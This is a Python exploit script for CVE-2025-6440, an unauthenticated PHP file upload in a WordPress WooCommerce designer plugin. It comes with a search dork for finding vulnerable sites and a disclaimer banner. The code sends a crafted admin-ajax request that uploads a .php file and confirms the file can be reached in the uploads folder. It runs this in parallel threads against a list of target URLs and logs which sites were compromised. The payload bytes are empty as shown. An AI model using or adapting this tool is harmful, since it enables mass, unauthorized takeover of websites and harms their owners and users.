#!/usr/bin/env python3 import argparse import json import mimetypes import os import secrets import sys from io import BytesIO from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor, as_completed import requests #Dork : "/wp-content/plugins/wc-designer-pro/" # Banner for educational purposes def print_banner(): banner = """ ╔══════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ WordPress WooCommerce Dynamic Pricing & Discounts Plugin ║ ║ Unauthenticated File Upload Exploit ║ ║ CVE-2025-6440 ║ ║ ║ ║ Crafted by: sahmsec ║ ║ ║ ║ For Educational and Authorized Testing Only ║ ║ ║ ╚══════════════════════════════════════════════════════════════════════════════╝ """ print(banner) def norm(u: str) -> str: if not u.startswith(("http://", "https://")): u = "https://" + u.strip("/") return u.rstrip("/") + "/" def ajax(u: str) -> str: return urljoin(u, "wp-admin/admin-ajax.php") def uploads_url(u: str) -> str: return urljoin(u, "wp-content/uploads/") def php_payload() -> bytes: return b'' def upload_to_url(base_url: str) -> tuple: """ Uploads the PHP file to a single URL and returns (success, result). success: bool, result: str (public URL if success, error message if fail). """ try: base = norm(base_url) target = ajax(base) uniq = secrets.token_hex(5) payload = BytesIO(php_payload()) name = "abc" ext = "php" fname = f"{name}.{ext}" mime = "text/plain" field = "0" params = { "mode": "addtocart", "uniq": uniq, "editor": "frontend", "designID": 0, "productID": 0, "addCMYK": False, "saveList": False, "productData": 0, "files": [{"count": field, "name": name, "ext": ext}], } data = {"action": "wcdp_save_canvas_design_ajax", "params": json.dumps(params, separators=(",", ":"))} files = {field: (fname, payload, mime)} headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json, */*;q=0.1", "Connection": "close", "Referer": base, "X-Requested-With": "XMLHttpRequest", } resp = requests.post(target, data=data, files=files, headers=headers, timeout=12.0, allow_redirects=True) payload.close() body = (resp.text or "").strip() public = urljoin(uploads_url(base), f"wcdp-uploads/temp/{uniq}/{fname}") # Check if server reported success ok = False try: j = resp.json() ok = bool(j.get("success")) except Exception: pass if ok: # Verify public URL try: check = requests.get(public, timeout=8, allow_redirects=True) if check.status_code == 200: return True, public else: return False, f"{base_url}: Public check failed with status {check.status_code}" except requests.RequestException as e: return False, f"{base_url}: Public check failed: {e}" else: return False, f"{base_url}: Server did not report success (HTTP {resp.status_code})" except requests.RequestException as e: return False, f"{base_url}: Request failed: {e}" except Exception as e: return False, f"{base_url}: Unexpected error: {e}" def main(): print_banner() p = argparse.ArgumentParser(description="Batch upload PHP file to multiple WordPress sites.") p.add_argument("input_file", help="File containing list of base URLs (one per line)") p.add_argument("--threads", type=int, default=5, help="Number of threads for parallel uploads (default: 5)") args = p.parse_args() # Read URLs from file try: with open(args.input_file, 'r') as f: urls = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[!] Input file '{args.input_file}' not found.") sys.exit(1) if not urls: print("[!] No URLs found in input file.") sys.exit(1) # Prepare result files with open("success", "w") as sf: sf.write("") # Clear file with open("failed", "w") as ff: ff.write("") # Clear file print(f"[+] Starting batch upload with {args.threads} threads for {len(urls)} URLs...") # Use ThreadPoolExecutor for parallel uploads results = [] with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = {executor.submit(upload_to_url, url): url for url in urls} for future in as_completed(futures): success, result = future.result() if success: with open("success", "a") as sf: sf.write(result + "\n") print(f"[+] Success: {result}") else: with open("failed", "a") as ff: ff.write(result + "\n") print(f"[-] Failed: {result}") print("[+] Batch upload completed. Check 'success' and 'failed' files.") if __name__ == "__main__": main()